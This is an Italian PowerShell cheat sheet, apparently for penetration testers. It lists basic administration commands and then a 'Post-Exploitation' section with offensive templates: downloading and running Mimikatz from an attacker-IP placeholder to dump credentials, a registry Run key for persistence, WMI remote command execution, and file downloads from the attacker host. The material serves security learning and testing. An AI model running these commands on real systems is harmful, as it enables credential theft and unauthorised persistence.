PowerShell
Cheetsheet per PowerShell
Introduzione
Comandi di Base
powershell
# Versione di PowerShell
$PSVersionTable
# Lista dei comandi disponibili
Get-Command
# Aiuto su un comando
Get-Help <comando>
Navigazione del Filesystem
powershell
# Navigare tra directory
cd <percorso>
# Lista file e directory
Get-ChildItem
# Cerca file specifici
Get-ChildItem -Path C:\ -Include *.txt -Recurse
Enumerazione del Sistema
Informazioni di Rete
powershell
# Visualizza l'indirizzo IP
Get-NetIPAddress
# Connessioni di rete attive
Get-NetTCPConnection
# Configurazione della scheda di rete
Get-NetAdapter
Enumerazione Utenti e Gruppi
powershell
# Utenti locali
Get-LocalUser
# Gruppi locali
Get-LocalGroup
# Utenti in un gruppo specifico
Get-LocalGroupMember -Group <nome_gruppo>
Processi
powershell
# Lista dei processi in esecuzione
Get-Process
# Termina un processo
Stop-Process -Name <nome_processo>
Automazione e Script
Esecuzione di Script
powershell
# Modifica delle policy per eseguire script
Set-ExecutionPolicy RemoteSigned
# Esegui uno script
.\<script.ps1>
Task Scheduling
powershell
# Crea un nuovo task
schtasks /create /tn <nome_task> /tr <comando> /sc once /st <ora>
# Elenca i task
schtasks /query
Post-Exploitation
Dump Credenziali
powershell
# Dump delle credenziali con Mimikatz
Invoke-WebRequest -Uri http://<attacker_ip>/mimikatz.exe -OutFile mimikatz.exe
.\mimikatz.exe
Persistenza
powershell
# Aggiungi una chiave al registro per persistenza
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "<nome>" -Value "<comando>"
Abuso di Funzionalità Integrate
powershell
# Abuso di WMI per eseguire comandi remoti
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "<comando>" -ComputerName <target_ip>
Altro
Trasferimento di File
powershell
# Scarica un file
Invoke-WebRequest -Uri http://<attacker_ip>/<file> -OutFile <destinazione>
# Trasferimento con SCP (se disponibile)
scp <file> <utente>@<ip>:/<destinazione>